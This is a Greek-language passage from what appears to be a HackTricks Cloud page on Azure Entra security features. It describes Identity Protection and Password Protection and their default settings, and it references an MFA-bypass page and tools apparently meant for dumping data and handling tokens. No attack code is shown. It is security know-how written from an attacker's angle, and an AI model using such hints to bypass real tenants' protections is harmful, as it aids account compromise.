Conditional Access Policies
Check:
Az - Conditional Access Policies & MFA Bypass
Entra Identity Protection
Το Entra Identity Protection είναι μια υπηρεσία ασφαλείας που επιτρέπει να εντοπίζεται όταν ένας χρήστης ή μια προσπάθεια σύνδεσης (sign-in) είναι υπερβολικά επικίνδυνη για να γίνει αποδεκτή, επιτρέποντας να μπλοκαριστεί ο χρήστης ή η προσπάθεια σύνδεσης.
Επιτρέπει στον admin να το διαμορφώσει ώστε να μπλοκάρει προσπάθειες όταν ο κίνδυνος είναι “Low and above”, “Medium and above” ή “High”. Ωστόσο, από προεπιλογή είναι εντελώς απενεργοποιημένο:
.png)
Tip
Σήμερα συνιστάται να προσθέσετε αυτούς τους περιορισμούς μέσω Conditional Access policies όπου είναι δυνατό να διαμορφωθούν οι ίδιες επιλογές.
Entra Password Protection
Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) είναι ένα χαρακτηριστικό ασφαλείας που βοηθά στην αποτροπή της εκμετάλλευσης αδύναμων κωδικών, κλειδώνοντας λογαριασμούς όταν γίνονται αρκετές ανεπιτυχείς προσπάθειες σύνδεσης.
Επιπλέον, επιτρέπει να απαγορεύσετε μια προσαρμοσμένη λίστα κωδικών που πρέπει να παρέχετε.
Μπορεί να εφαρμοστεί τόσο σε επίπεδο cloud όσο και σε on-premises Active Directory.
Η προεπιλεγμένη λειτουργία είναι Audit:
.png)
Αναφορές
- https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units
- SharePointDumper
- EntraTokenAid
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

